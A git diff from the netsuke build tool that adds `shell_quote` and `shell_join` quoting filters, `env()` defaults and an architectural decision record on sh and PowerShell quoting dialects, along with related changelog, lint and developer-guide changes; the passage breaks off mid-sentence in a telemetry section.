diff --git a/.codescene/code-health-rules.json b/.codescene/code-health-rules.json index e5a94e217..687e6c83f 100644 --- a/.codescene/code-health-rules.json +++ b/.codescene/code-health-rules.json @@ -21,6 +21,16 @@ } ] }, + { + "matching_content_path": "tests/shell_filter_property_tests/property_support.rs", + "matching_content_path_doc": "Test-only harness for the shell_quote and shell_join property suites, where the strings are the subject matter rather than a missing domain language. Nine of its twelve parameters are &str, and six of those are adversarial by design: an unconstrained template, a shell word drawn from a metacharacter alphabet, the encoder's own output read back through a POSIX shell, a PowerShell literal to decode, and a script to run. Constraining any of them through a newtype would defeat the suite, which exists to feed the filters inputs that are not well-formed words; a transparent wrapper would add conversion noise at every call site while enforcing nothing, exactly as in src/ir/cmd_interpolate_property_support.rs. The three remaining strings are dialect selectors, which RecipeShell could type. Measured rather than assumed, that is not the remedy: typing both selectors moves the ratio from 75.0% to 58.3%, still far above the 39.0% threshold, because the floor is set by the irreducible adversarial strings and not by the selectors. Reassess if this harness gains production callers, or if the filters stop accepting unconstrained text.", + "rules": [ + { + "name": "String Heavy Function Arguments", + "weight": 0.0 + } + ] + }, { "matching_content_path": "src/ir/cmd_interpolate_property_support.rs", "matching_content_path_doc": "Private test-only generated strategies and an independent POSIX scanner oracle must accept unconstrained templates, raw bindings, replacement values, and fragments. Those adversarial values intentionally include placeholders, backticks, quotes, empty text, and malformed forms. Newtypes would add conversion and borrowing noise without enforcing a constraint; reassess if this code becomes production-facing or its inputs gain a meaningful invariant.", diff --git a/CHANGELOG.md b/CHANGELOG.md index 7c38ad054..7c64288f6 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -60,6 +60,21 @@ _If you are upgrading: see the baseline PEP 649 defers evaluation, so only resolving the annotation catches it ([#730](https://github.com/leynos/netsuke/issues/730), [ADR-038](docs/adr-038-runtime-annotation-introspection-in-workflow-contracts.md)) +- Add the `shell_quote` and `shell_join` recipe-text filters, and the `compact` + collection filter. `shell_quote` encodes one string as one shell word and + `shell_join` encodes a sequence as a command line, each for a `dialect` of + `sh` or `powershell` that defaults to the dialect implied by the active + recipe shell. The documented `shell_escape` name is superseded rather than + implemented, because it would quote for the wrong interpreter on Windows + ([#593](https://github.com/leynos/netsuke/issues/593), [ADR-041](docs/adr-041-canonical-recipe-shell-quoting-surface.md)) +- Add the `default=` keyword argument to the `env()` template function, leaving + the existing missing-variable and invalid-UTF-8 diagnostics unchanged + ([#593](https://github.com/leynos/netsuke/issues/593)) +- Count `shell_quote` and `shell_join` dialect resolutions in the bounded + `netsuke_manifest_shell_quote_dialect_total` counter, labelled by `dialect` + and by whether the call site named the dialect or accepted the default, so + the manifests whose generated text is not pinned to an encoding are measurable + ([ADR-041](docs/adr-041-canonical-recipe-shell-quoting-surface.md)) ### Added diff --git a/clippy.toml b/clippy.toml index 9112497b8..908c9db40 100644 --- a/clippy.toml +++ b/clippy.toml @@ -20,4 +20,5 @@ disallowed-methods = [ { path = "std::env::set_var", reason = "use a stub environment in tests" }, { path = "std::env::remove_var", reason = "use a stub environment in tests" }, { path = "std::env::set_current_dir", reason = "inject a base-directory seam; confine CWD changes to Command::current_dir" }, + { path = "shell_quote::QuoteRefExt::quoted", reason = "recipe-shell word quoting lives in shell_word::quote_word" }, ] diff --git a/docs/adr-041-canonical-recipe-shell-quoting-surface.md b/docs/adr-041-canonical-recipe-shell-quoting-surface.md new file mode 100644 index 000000000..86a5a067e --- /dev/null +++ b/docs/adr-041-canonical-recipe-shell-quoting-surface.md @@ -0,0 +1,277 @@ +# Architectural decision record (ADR) 041: Canonical recipe shell quoting surface + +## Status + +Accepted. + +## Date + +2026-09-27 + +## Context and problem statement + +A manifest renders its string fields as MiniJinja templates, and a rendered +value frequently becomes part of a shell recipe. Before this decision the +template surface had no way to quote such a value, so an author who needed a +literal space, quote, or `$` in an argument had to hand-roll the escaping in +the manifest. Hand-rolled escaping is where command injection lives, and the +manifest author is the party least able to verify it. + +The design document named the gap and the intended remedy. `DD-4.5` called a +quoting filter "a non-negotiable security feature to prevent command injection +vulnerabilities". `RFC-0006-8.9` proposed the name `shell_quote` with a +`dialect` argument, and `RM-6.8.3` repeated both. Three sources therefore +agreed on the shape of the surface before any of it existed; none of them +agreed on its scope, and the RFC's premise about which encoders are compiled in +was false. + +Three questions had to be answered, and each is a decision below: what the +filter is called, which dialects it accepts and what it defaults to, and whether +`bash` is one of those dialect names. + +### The RFC's stated premise is false in the code + +`RFC-0006-8.9` says "`dialect` currently accepts only `sh`, matching the single +`shell-quote` feature Netsuke enables." The feature half is right — +`Cargo.toml` enables only `sh` — but the conclusion does not follow. Two facts +in the code contradict it. + +`src/recipe_shell.rs` establishes that the default Windows recipe interpreter +is Windows PowerShell, and `RecipeShell::host_default()` returns +`RecipeShell::PowerShell` there. A manifest on Windows therefore executes under +an interpreter with entirely different quoting rules. + +`src/ir/cmd_interpolate/` already implements a second, non-`shell-quote` +encoding for exactly that case. The capability the RFC described as absent was +already compiled in and already in use by the IR lowering path. + +So an `sh`-only filter would emit POSIX quoting into a recipe that Windows +PowerShell then parses. Nothing would fail loudly; the quoting would simply be +read as data, and the argument the author believed was protected would arrive +corrupted or expanded. That is a silent injection-safety defect in the helper +whose stated purpose is to prevent injection. + +### Nothing else in the ecosystem offers a dialect argument + +Every comparable tool ships a one-argument function with no dialect selector: +`shlex.quote` and `shlex.join` in the standard library, Just's `quote()`, +bazel-skylib's `shell.quote`, Nix's `escapeShellArg`, and Ansible's `quote`. +The dialect argument is this surface's one point of divergence from the field, +and it is the reason the next decision is not free. It was considered for +removal and kept; the alternative is recorded below. + +## Decision drivers + +- Make the safe thing the easy thing. An author with a hard-to-quote argument + should have a one-call answer, because the alternative is hand-rolled + escaping. +- Never emit one dialect's quoting into another dialect's interpreter. A + quoting helper that is wrong silently is worse than no helper, since it + invites reliance. +- Keep exactly one implementation of the encoding. IR lowering and the + template filters must not drift apart, because a recipe assembled from both + would then carry two incompatible quotings. +- Do not put a name on the public template surface that a known-correct source + says is already superseded. +- Defer no breaking rename to a later release. The template surface becomes + documented and executed in the same milestone that ships it. + +## Requirements + +### Functional requirements + +- A manifest can quote one string into one shell word, and quote a sequence + into a command line of shell words, without hand-rolled escaping. +- The dialect used is selectable at the call site, and the spelling is stable + enough to document. +- A call that cannot succeed — a non-string subject, an unknown dialect, a + positional argument — fails with a diagnostic naming the filter and the + received kind, rather than coercing the value. + +### Technical requirements + +- Exactly one implementation of recipe-shell word quoting is compiled in; + every other call site delegates to it. +- The names shipped match what `RFC-0006-8.9`, `RFC-0006-13.3`, and `RM-6.8.3` + say, or the deviation is recorded where a reader will find it. +- The decisions are discoverable from the documentation index and from the + code they govern. + +## Options considered + +### Option A: `shell_escape`, single dialect (the roadmap's original name) + +Ship the filter under the name the roadmap first used, with POSIX quoting only. + +This is rejected on two independent grounds, either sufficient. The name is +known-superseded: `RFC-0006-13.3` states that the RFC "contributes the +canonical name `shell_quote` and the `dialect` argument; the roadmap task +should adopt them so the two do not diverge", and `RM-6.8.3` repeats it. +Shipping `shell_escape` would put a superseded name on the public surface and +force a breaking rename in a later release. `RM-3.14.8` permits "implement **or +remove**" the name; superseding it is a removal. + +The single dialect is the more serious problem, for the reason above: on +Windows the filter would quote for the wrong interpreter and fail silently. + +### Option B: `shell_quote`, `sh` only, error on a PowerShell host + +Ship the canonical name but refuse to render when the active recipe shell is +PowerShell, so the filter cannot be used incorrectly. + +This avoids the silent corruption but makes the filter unusable in the default +configuration on Windows, which is the platform where manifest authors most +need quoting, since it is the platform whose paths contain spaces and +backslashes. Refusing at render time is safe and useless. + +### Option C: `shell_quote`, two dialects, host-dependent default (chosen) + +Ship the canonical name with both dialects compiled in, defaulting to the +dialect implied by the active `RecipeShell`. + +This is the only option that is both correct on every host and usable on every +host. Its cost is the dialect argument, which no comparable tool has, and the +instability of the omitted-dialect default, which is recorded as a decision in +its own right rather than left implicit. + +### Option D: `shell_quote` with no dialect argument + +Ship the canonical name and always follow the active recipe shell, dropping the +argument entirely. + +This is the smallest surface and the closest to the ecosystem's convention. It +was considered seriously and not adopted: the requester chose the two-dialect +surface explicitly, and both `RFC-0006-8.9` and `RM-6.8.3` specify the +`dialect` argument by name, so dropping it would be a second deviation on top +of Option C's. It would also remove four of the six diagnostic keys and the +dialect-totality obligation, so it is a real reduction rather than a cosmetic +one. + +The safety argument for Option D is adopted instead: every documented example +and every snapshot pins `dialect` explicitly, and the instability of the +omitted-dialect default is stated in the consequences below. + +| Topic | A: `shell_escape`, `sh` | B: `sh` only, error | C: two dialects | D: no argument | +| ----------------------------- | ----------------------- | ------------------- | ---------------- | ---------------- | +| Name matches RFC and roadmap | No | Yes | Yes | Yes | +| Correct on a PowerShell host | No, silently | N/A, refuses | Yes | Yes | +| Usable on a PowerShell host | No | No | Yes | Yes | +| Breaking rename deferred | Yes | No | No | No | +| Call site states its encoding | No | No | Yes | No | +| Diagnostic keys introduced | 6 | 6 | 6 | 2 | +| Diverges from ecosystem norm | No | No | Yes | No | +| Reader can tell it was chosen | No, reads as legacy | Yes, this record | Yes, this record | Yes, this record | + +*Table 1: Comparison of the options considered.* + +## Decision outcome + +Adopt **Option C**. + +The helper ships as `shell_quote` and `shell_join`. Both accept a `dialect` +keyword argument taking `sh` or `powershell`, and both default to the dialect +implied by the active `RecipeShell` when the argument is omitted. The `sh` +dialect is documented as an *encoding* — the output is a lowest common +denominator for Bash, Z Shell, and `/bin/sh`-like shells — rather than as a +named interpreter. + +`dialect='bash'` is **not** accepted. `RecipeShell::Bash` maps to the `sh` +dialect, because `sh` output is valid Bash. The name is refused because the +`shell-quote` crate's `Bash` encoder emits a different, `$'...'`-style form +that Netsuke does not compile in; accepting the name now would lock in a +meaning that a real `bash` dialect would later have to break. + +Every `shell_escape` reference in the design and user guides is replaced by +`shell_quote`, and the filter is implemented once, in `src/shell_word.rs`, with +the template filters and the IR lowering path both delegating to it. + +## Rationale + +The decision turns on what a quoting helper owes its caller. Its value is +entirely in being right; a helper that is right on the author's machine and +wrong on a colleague's is worse than nothing, because it teaches reliance it +cannot support. Options A and B each break that promise in a different +direction — A silently, B loudly — and only Option C keeps it on every host. + +The name follows from a different source with the same force. Three documents +agree on `shell_quote`, one of them an RFC that states the roadmap "should +adopt" it so the two do not diverge. Diverging would mean a public name, a +documented example, and a test suite that all have to change later, for no +benefit that any of the rejected options could name. + +The dialect argument is the part that is genuinely a cost, and it is accepted +rather than waved away. It diverges from every comparable tool, it doubles the +diagnostic keys, and it introduces the one axis of this surface with no +versioning story: a manifest that omits `dialect` gets whatever the active +`RecipeShell` implies, which may change between releases. Option D would remove +that axis, and the argument for it is real. It was not adopted because two +normative documents specify the argument and the requester chose it explicitly, +which makes removing it a larger unilateral change than the cost justifies. The +mitigation is disclosure: the instability is stated here, every example pins +the dialect, and the diagnostic enumerates the accepted names so a reader +cannot guess wrong silently. + +Option A is rejected on the name and on the Windows defect, and the two are +independent — either alone would sink it. Option B is rejected on usability +rather than on correctness; it is the safe version of the wrong answer. Option +D is rejected on authority rather than on merit, and the record says so, so +that a future reader who prefers it knows it was weighed rather than missed. + +## Consequences + +- `shell_quote` and `shell_join` are available to every manifest template, and + the encoding is selected by `dialect`, defaulting to the active recipe shell. +- **The omitted-dialect default is not stable across releases or hosts.** A + manifest whose generated text must be byte-stable must pin `dialect=`. This + is the accepted cost of Option C, and the one behaviour here that a future + release may change without a manifest edit. +- `RecipeShell::Bash` maps to the `sh` dialect today. If a real `bash` dialect + is added, that mapping changes, which is a concrete instance of the point + above. +- The name `shell_escape` no longer appears in the design or user guides, which + name `shell_quote` only. It is retained here, in `RM-6.8.3`, and in + `RFC-0006-8.9` / `RFC-0006-13.3`, because those are the records of the + supersession itself; a reader who arrives holding the old name finds the + decision rather than a gap. +- `src/shell_word.rs` is the single implementation of recipe-shell word + quoting, and a constraint test holds the delegation to one call site per + layer rather than to a convention. +- The `shell-quote` crate's `Sh` encoder is *suffix*-quoting rather than + canonically enclosing: it leaves the longest safe prefix bare and quotes only + the remainder, so `a b` becomes `a' b'` and not `'a b'`. The contract is + therefore round-tripping, not any particular output shape. + +## Known risks and limitations + +- The surface is a *safe primitive*, not an enforced control. It quotes what it + is given; it does not detect or prevent an author interpolating a filter + inside shell double quotes, where the quoter's own quote characters are data + and the argument is corrupted. That failure mode is pinned as a documented + defect with a test rather than repaired, because repairing it would mean + tracking shell context, which is a different and much larger mechanism. +- The only oracle for the PowerShell encoder on most hosts is an independently + written decoder, not an interpreter. Where a real interpreter is present the + two are compared, but the property is discharged by the model on hosts + without one, and the residual gap is recorded rather than closed. +- The dialect set is a claim about which encoders are compiled in. It is + correct for the current `Cargo.toml` feature selection and would need + revisiting if a further encoder were enabled. +- Accepting the dialect name case-insensitively is a convenience that the + design documents do not require; a reader who expects exact matching may be + surprised. + +## References + +- [ADR-014](adr-014-backend-text-escaping-seam.md) defines the single-line + recipe admissibility rule that the encoding is layered on top of. +- [ADR-019](adr-019-structured-command-shell-selection.md) owns the shell + registry, which accepts `bash` where this decision rejects it. The two + surfaces are deliberately not the same, and the divergence is recorded here. +- [`RFC 0006`](rfcs/0006-ansible-inspired-template-standard-library.md) §8.9 + proposed the `dialect` argument and the `shell_quote` name; §13.3 states that + the roadmap task should adopt both. +- [`src/shell_word.rs`](../src/shell_word.rs) holds the single encoding. + [`src/stdlib/recipe_text/`](../src/stdlib/recipe_text/) is the + template-facing adapter that validates arguments and delegates to it. +- [`src/recipe_shell.rs`](../src/recipe_shell.rs) is the data-only interpreter + vocabulary, including `host_default()`. diff --git a/docs/contents.md b/docs/contents.md index 0fef2f993..323b54933 100644 --- a/docs/contents.md +++ b/docs/contents.md @@ -232,6 +232,9 @@ operator, user, and contributor references are easier to find. Runtime annotation introspection declared unsupported for the workflow contract tests, with the loader gate's stale `TYPE_CHECKING` claim corrected and a revisit gate that reopens on a real consumer. +- [ADR-041](adr-041-canonical-recipe-shell-quoting-surface.md): `shell_quote` + and `shell_join` as the canonical recipe quoting surface, with two dialects + and a host-dependent default. ## Proposals diff --git a/docs/developers-guide.md b/docs/developers-guide.md index f387260f4..e36eb5c29 100644 --- a/docs/developers-guide.md +++ b/docs/developers-guide.md @@ -115,15 +115,24 @@ rendered. It must not generate a Ninja file, call a Ninja subprocess, execute a recipe, or create build outputs. Its Jinja environment is a restricted, side-effect-free query surface. It allowlists only the lexical path filters `basename`, `dirname`, `with_suffix`, and `relative_to`, the collection filters -`uniq`, `flatten`, and `group_by`, and the clock-independent `timedelta` -function. It rejects `env()` and `glob()`, file tests, filesystem metadata -filters such as `size` and `linecount`, `hash`, `digest`, `contents`, +`uniq`, `flatten`, `compact`, and `group_by`, and the clock-independent +`timedelta` function. It rejects `env()` and `glob()`, file tests, filesystem +metadata filters such as `size` and `linecount`, `hash`, `digest`, `contents`, `realpath`, and `expanduser`, executable discovery through `which` and `command_available`, network and command helpers (`fetch`, `shell`, and `grep`), and the clock-dependent `now()` function. Normal build manifest rendering still registers the full standard library; this restriction applies only to query rendering. +The rejection is total: every query-context `env()` call fails, and an +`env(name, default=value)` call reports the same query-disabled marker as a bare +`env(name)` rather than an arity error. The stub accepts a keyword-argument +parameter precisely so a defaulted call reaches the deliberate rejection; +without it, MiniJinja would fail the call as `too many arguments`, naming +neither the helper nor the remedy. `tests/stdlib_manifest_query_tests.rs` +asserts both the marker and the absence of the arity text, with a negative +control proving the same template renders under the full stdlib. + The query allowlist has one owner: `register_manifest_query`. Query loading does not construct `StdlibConfig`; the registration function composes the allowlist directly. Reuse its lexical path, collection, and time registration @@ -134,6 +143,42 @@ named-command help paths render clap help directly and do not load a manifest. Keep future help topics within this boundary rather than coupling read-only inspection to `runner::process`. +The recipe-text quoting filters `shell_quote` and `shell_join` are on that +shared query path, registered by `recipe_text::register_filters` alongside the +collection filters. They take a `dialect` keyword argument, and with it given +they read no host state at all, so a query that names its dialect is fully +deterministic. With `dialect` omitted they resolve through +`RecipeShell::host_default`, which is the value `register_query_helpers` passes. + +The two surfaces agree on an explicitly named dialect, on every host, and that +is what `tests/stdlib_manifest_query_tests.rs` pins. Their *defaults* are a +different matter, and the difference is wider than "the same value reached +twice". The query surface takes `host_default()`; the build surface takes the +shell the runner resolves, which on Windows honours `NETSUKE_WINDOWS_SHELL`. So +a Windows host configured for Bash renders `sh` quoting for the build and +PowerShell quoting for `help targets` from the same manifest expression — the +divergence `register_query_helpers` and `ManifestLoadMode::ManifestQuery` each +document as deliberate. What keeps that divergence unobservable today is only +that `execute_help` returns before `resolve_recipe_shell()` is reached +(`src/runner/mod.rs:149-153`); it is masked, not absent. On a non-Windows host +`resolve_recipe_shell_with` returns `Posix` before it reads the environment at +all, so the two defaults genuinely coincide there. + +Keep the masked divergence rather than closing it. Threading the resolution +through would mean hoisting a fallible environment read above that early +return, where a malformed `NETSUKE_WINDOWS_SHELL` would start failing a +metadata query that never uses it — and the query renders discovery metadata +that is never executed. A resolved shell is also not query-reachable for the +metadata-only load, which does not construct `StdlibConfig` at all. + +The explicit-dialect agreement is pinned twice over. A probe that *names* its +dialect is the case the keyword overrides the registration's default, so it can +never catch a wrong default in `register_query_helpers` — the dialect-omitting +probes do that, comparing each against the twin `host_default_field` selects +for this host rather than against a hardcoded `sh`, because the file runs on +Windows too. `assert_full_stdlib_renders` is the negative control on the +explicit comparison: without it, two identical failures would satisfy it. + Manifest rendering has two caller-selected modes. Full rendering evaluates all manifest fields, including recipe bodies, for build, generate, and manifest output. Manifest-query rendering evaluates discovery metadata and the @@ -148,6 +193,40 @@ helper result is interpolated into a string field, while delegating all non-Boolean values to MiniJinja's `escape_formatter`. Keep this as one registration-wide policy: do not add per-helper or per-call formatter variants. +Add a new helper to **both** registration surfaces. +`register_read_only_helpers` serves the build, and `register_query_helpers` +serves manifest discovery; the shared sub-registrations they call — +`collections::register_filters`, `path::register_filters`, +`path::register_query_filters`, and `recipe_text::register_filters` — are what +make a helper reach both, so a helper registered privately to one surface is +reachable from a build but invisible to `netsuke help targets`, or the reverse. +Where the two surfaces must differ, the difference is a deliberate decision to +record here rather than an accident of which function happened to be edited: +the recipe-text dialect default above is the one live example, and +`register_disabled_query_helpers` is the mechanism for a helper the query +surface must *refuse* rather than serve. + +Argument style follows the shape of the options, not the author's taste. A +trailing sequence of `Option` parameters, as in +`contents(raw, encoding, kwargs)`, `hash(raw, alg, kwargs)`, and +`digest(raw, len, alg, kwargs)` (`src/stdlib/path/filters.rs`), is for options +that read naturally in a fixed order and that a caller would plausibly give +positionally. `Kwargs` alone, as in `linecount`, `now`, `timedelta`, `fetch`, +`which`, and `command_available`, is for independent named options and for any +enumerated value set expected to widen. Always terminate with `kwargs: Kwargs` +and call `kwargs.assert_all_used()` so an unrecognized keyword is an error +rather than a silent no-op. + +`Value::try_iter()` is **not** a sequence check, and must not be used as one +(decision D8). It succeeds on a map, yielding its keys, and on a string, +yielding its characters, so a filter that guards with it alone would quietly +return the wrong thing rather than fail: `{{ my_map | compact }}` would render +the map's keys. Guard on `Value::kind()` against `ValueKind::Seq | Iterable` +first, as `compact_filter` does (`src/stdlib/collections.rs`), and raise a +localized error naming the received kind. The same confusion awaits any helper +that appears to accept both `none` and a sequence: `is_blank` in that module is +the worked example of drawing the line deliberately rather than by truthiness. + Helpers excluded from the query allowlist are registered as deliberate query-disabled stubs by the standard-library adapter. The stubs return a stable, classified MiniJinja operation error. Manifest expansion recognizes @@ -557,11 +636,21 @@ Every user-facing string is a Fluent message keyed from `src/localization/keys.rs`. Adding one means adding the constant, adding the message to all 35 catalogues, and keeping its `{ $variables }` identical across them: the build audit rejects a missing key, an orphaned key, or a variable set -that differs from `en-US`. The audit lives in `build_l10n_audit/`, split into -`keys.rs` and `scanner.rs` (the `define_keys!` scanner, with `byte_index.rs` -for its byte-position bookkeeping), `ftl.rs` (catalogues), `metadata.rs` (the -Cargo metadata), and `compare.rs` (the rules). Because build scripts are not -test targets, those modules are included by path from four test files: +that differs from `en-US`. + +A *diagnostic* message whose text carries a bracketed code such as +`[netsuke::jinja::shell::args]` must have that code copied **verbatim** into +every catalogue. The code is part of the message text rather than a field, so a +translator who rewords, translates, or re-punctuates the bracket is not +producing a translation — the code is an identifier a reader greps for, and the +localized catalogues assert on the exact spelling. Copy the bracketed span +unchanged and translate only the prose around it. + +The audit lives in `build_l10n_audit/`, split into `keys.rs` and `scanner.rs` +(the `define_keys!` scanner, with `byte_index.rs` for its byte-position +bookkeeping), `ftl.rs` (catalogues), `metadata.rs` (the Cargo metadata), and +`compare.rs` (the rules). Because build scripts are not test targets, those +modules are included by path from four test files: `tests/build_l10n_keys_tests.rs` exercises the `define_keys!` scanner (`keys.rs`, `scanner.rs`, `byte_index.rs`); `tests/build_l10n_parser_tests.rs` exercises the catalogue and metadata parsers (`ftl.rs`, `metadata.rs`); @@ -715,16 +804,51 @@ failed subcommand's stderr on its own stdout, build runs retain only a fixed 512-byte stdout tail and use its parsed marker only after a non-zero exit. Ordinary child stdout streams forward directly and must not use this tail. -The lowest-layer POSIX shell-word quoting used for input/output paths during IR -lowering is `shell_quote::QuoteRefExt::quoted(Sh)`. It performs minimal, -fragmented shell quoting, which is appropriate for a literal shell word but not -for the command-list `eval` payload. That renderer requires a canonical -single-quoted payload so existing generated Ninja list text remains +The lowest-layer shell-word quoting used for input/output paths during IR +lowering, and for the `shell_quote` and `shell_join` template filters, is +[`src/shell_word.rs`](../src/shell_word.rs). `quote_word` is its one entry +point, and `is_recipe_admissible` is a separate predicate: encoding is total, +while which inputs a recipe may carry is a question the caller owns and asks +separately, a split `quote_path` depends on to keep its existing total +behaviour. It is the single encoding of a recipe shell word, and a constraint +test holds the delegation to one call site per layer rather than to convention. +It performs minimal, fragmented shell quoting — `shell-quote`'s `Sh` encoder +leaves the longest safe prefix bare and quotes only the remainder, so `a b` +encodes as `a' b'` and not `'a b'` — which is appropriate for a literal shell +word but not for the command-list `eval` payload. That renderer requires a +canonical single-quoted payload so existing generated Ninja list text remains byte-for-byte stable, and the delimiter/boundary tests continue to hold. Keep that quoting in the deliberately local `shell_single_quote` function; it is not -a general-purpose helper. Neither quoting path is the platform-specific -`src/stdlib/command/quote.rs` implementation behind the `command.quote` -template wrapper, which must retain its `cmd.exe` quoting behaviour on Windows. +a general-purpose helper, and it is the one remaining quoter outside +`src/shell_word.rs`. + +The third path is the platform-specific `src/stdlib/command/child_argument.rs` +implementation behind the `command.quote` template wrapper. That file was named +`quote.rs` before this milestone; the rename records that it answers a narrower +question than the other two — how one argument is spelled for the interpreter a +structured command will run under, including `cmd.exe` on Windows — and is +therefore deliberately distinct from the recipe-shell word encoding. + +`quote_word` takes a `ShellDialect`, the two-variant enum `Sh` and `PowerShell` +declared in `src/shell_word.rs` with `as_str`, `telemetry_name`, and `parse` +accessors. `parse` deliberately rejects the string `"bash"` (decision D3): +`RecipeShell::Bash` maps to `Sh` because `Sh` output is valid Bash, but the +`shell-quote` crate's `Bash` encoder emits a different `$'...'` form that +Netsuke does not compile in, so accepting the name now would lock in a meaning +a real `bash` dialect would have to break. `RecipeShell::dialect()` is the +three-to-two surjection onto that enum, and has no inverse by design — an +inverse would have to pick one of `Posix` or `Bash` arbitrarily: + +- `Posix | Bash => ShellDialect::Sh` +- `PowerShell => ShellDialect::PowerShell` + +`StdlibConfig::with_recipe_shell` stores only the dialect, not the interpreter, +for that same reason: `Posix` and `Bash` quote identically, so keeping the +wider type would leave a `recipe_shell()` accessor inviting a question the +configuration cannot answer honestly. The closed `sh`/`powershell` label set +that [Recipe-text dialect telemetry](#recipe-text-dialect-telemetry) admits is +exactly the `ShellDialect` spelling, so the surjection above is what keeps a +build's quoting reachable from the telemetry vocabulary. Attributed list failures emit the bounded tracing fields `command_list_action` (a fixed-width action fingerprint) and `command_list_entry` (the one-based @@ -6310,12 +6434,22 @@ so an untrusted manifest cannot grant itself access or activate default-deny; primary-project block entries remain cumulative because they only restrict access. -Policy enforcement belongs at the registered `env()` call boundary. The closure -evaluates the requested name before invoking `EnvReader`, so a blocked lookup -cannot obtain a process value. It returns the fixed, localized -`manifest.env.blocked` diagnostic and emits only the bounded -`failure_kind="blocked"` trace field. Neither the requested name nor its value -may appear in that diagnostic or trace. +Argument validation and policy enforcement are separate concerns, and the +module boundary follows that split. `register_env_function` in +`src/manifest/registration.rs` owns the registration half: it reads the optional +`default` keyword, rejects a defined non-string value with the localized +`manifest.env.default_not_string` diagnostic, and rejects leftover keyword +arguments by delegating to MiniJinja's `Kwargs::assert_all_used` — all before +any lookup happens. The closure then delegates to `env_var_with_default` in +`src/manifest/env_reader.rs`, which owns the leaf half: it evaluates the +requested name against the policy before invoking `EnvReader`, reads through +the reader, and resolves the three-way result — value, absence, or undecodable +bytes — substituting a supplied fallback for absence and raising a fixed, +localized Jinja error otherwise. A blocked lookup therefore cannot obtain a +process value, and a rejected argument never reaches the lookup counter at all. +The blocked path returns the `manifest.env.blocked` diagnostic and emits only +the bounded `failure_kind="blocked"` trace field. Neither the requested name +nor its value may appear in that diagnostic or trace. #### Ownership and permitted call sites @@ -6325,11 +6459,11 @@ may appear in that diagnostic or trace. `ManifestEnvironment` around that borrow and `EnvAccessPolicy::default()`, which is permissive for compatibility; the environment-aware entry points such as `from_path_with_policy_and_environment` carry the caller's policy - instead. `from_str_named` then clones the reader into the registered closure, - so the closure co-owns the `Arc` alongside the caller. `from_str_named` - remains the only place the `env()` function is registered. In production - nothing else constructs a reader; tests build their own with `Arc::new`, - which is the point of the seam. + instead. `register_env_function` then clones the reader into the registered + closure, so the closure co-owns the `Arc` alongside the caller. That helper + is reached through `from_str_named`, which remains the only route by which the + `env()` function is registered. In production nothing else constructs a + reader; tests build their own with `Arc::new`, which is the point of the seam. - `process_env_reader()` is the sole production supplier and the only place `std::env::var` appears in the module. - The two test layers cover different things, and both are needed: @@ -6337,8 +6471,8 @@ may appear in that diagnostic or trace. registration — that the reader actually reaches the `env()` function Jinja calls. Covering the leaf mapper alone would leave that untested, which is the gap the earlier process-mutating tests existed to fill. - - **Unit tests may call `env_var_with` directly** to cover error mapping. - `src/manifest/tests/env_function.rs` does so deliberately: the + - **Unit tests may call `env_var_with_default` directly** to cover error + mapping. `src/manifest/tests/env_function.rs` does so deliberately: the present, absent, and non-UTF-8 branches are cheaper to drive at the leaf, and the non-UTF-8 case is unreachable through a real environment without platform-specific `OsString` surgery. @@ -6986,11 +7120,20 @@ are absent from every captured event and span field. The counter descriptions are registered once per process behind a `Once`. Both counter names are listed in the application recorder's `accepts_name` and -matched in `accepts_counter_registration` against their exact label shapes, so -the series survive into the process snapshot rather than being discarded as -noop handles, while any other label name, label count, or out-of-vocabulary -value is rejected. This is the same allowlist that gates the configuration, -runner, manifest-filtering, file-read, and environment-lookup series. +matched in `accepts_stdlib_counter_registration`, the private helper that +groups the standard-library counter rules, which delegates them to +`accepts_which_registration` against their exact label shapes. The series +survive into the process snapshot rather than being discarded as noop handles, +while any other label name, label count, or out-of-vocabulary value is rejected. + +The application recorder owns counter admission. The stdlib helper composes the +vocabularies the `src/stdlib/` modules declare rather than redefining them, so +ownership of each vocabulary stays with its declaring module. The `which` rule +keeps its own label-shape predicate because its resolution counter is admitted +under two shapes — a success carries two labels and a failure three — and every +rule, grouped or not, still validates bounded labels exactly. This is the same +allowlist that gates the configuration, runner, manifest-filtering, file-read, +and environment-lookup series. Tests sit beside the module: `src/stdlib/which/telemetry_tests.rs` drives the real `WhichResolver` against a local debugging recorder and asserts that each @@ -7693,7 +7836,8 @@ with the locale space. The counter description is registered once per process behind a `Once`. The application recorder in `src/observability_recorder.rs` admits the series: `FILE_READ_TOTAL` is listed in `accepts_name` and matched in -`accepts_counter_registration` against exactly those two label sets, so the +`accepts_stdlib_counter_registration`, the private helper grouping the +standard-library counter rules, against exactly those two label sets, so the counter survives into the process snapshot rather than being discarded as a noop handle, while any other label name, label count, or out-of-vocabulary value is rejected. This is the same allowlist that gates the configuration, @@ -7710,11 +7854,20 @@ values and a series missing a label. ### Manifest environment-lookup telemetry `src/manifest/env_telemetry.rs` owns telemetry for the `env()` lookup boundary. -`env_var_with` in `src/manifest/env_reader.rs` is the only place an `env()` -call reaches: it evaluates the access policy, reads through the injected -reader, and maps failures to Jinja errors, so it also hands each result to -`record_env_lookup`, which returns that result unchanged and counts the lookup -exactly once whatever the outcome. +`env_var_with_default` in `src/manifest/env_reader.rs` is the only place an +`env()` call reaches: it evaluates the access policy, reads through the +injected reader, and maps failures to Jinja errors, so it also hands each +result to `record_env_lookup`, which returns that result unchanged and counts +the lookup exactly once whatever the outcome. + +When the variable is absent and the call supplied a `default=`, +`substitute_fallback` substitutes it and counts the lookup as `success`: the +manifest asked for a substitution and got one, so it is not a fifth outcome. +The substitution is marked instead by a bounded trace field on a debug event, +`fallback_used = true` on `manifest env lookup substituted default`, which is +the only place that field appears. A fallback does not rescue a value that is +present but not valid UTF-8: that remains `not_unicode`, because a +present-but-undecodable value is a configuration fault rather than an absence. The counter is `netsuke_manifest_env_lookups_total`, with one `outcome` label drawn from the closed set `success`, `blocked`, `not_present`, and @@ -7735,13 +7888,61 @@ noop handle, while any other label name, label count, or out-of-vocabulary value is rejected. Tests sit beside the boundary: `src/manifest/tests/env_telemetry.rs` drives -`env_var_with` against a local debugging recorder and asserts each outcome -reaches exactly one bounded series, while +`env_var_with_default` against a local debugging recorder and asserts each +outcome reaches exactly one bounded series, while `recorder_retains_bounded_env_lookup_series` in `src/observability_recorder_tests.rs` proves the production recorder retains the four bounded series and rejects an out-of-vocabulary outcome, an extra label, and a series missing its label. +### Recipe-text dialect telemetry + +`src/stdlib/recipe_text/dialect_telemetry.rs` owns telemetry for the dialect +boundary. Both `shell_quote` and `shell_join` reach exactly one place when they +decide which encoding to apply — `resolve_dialect` in 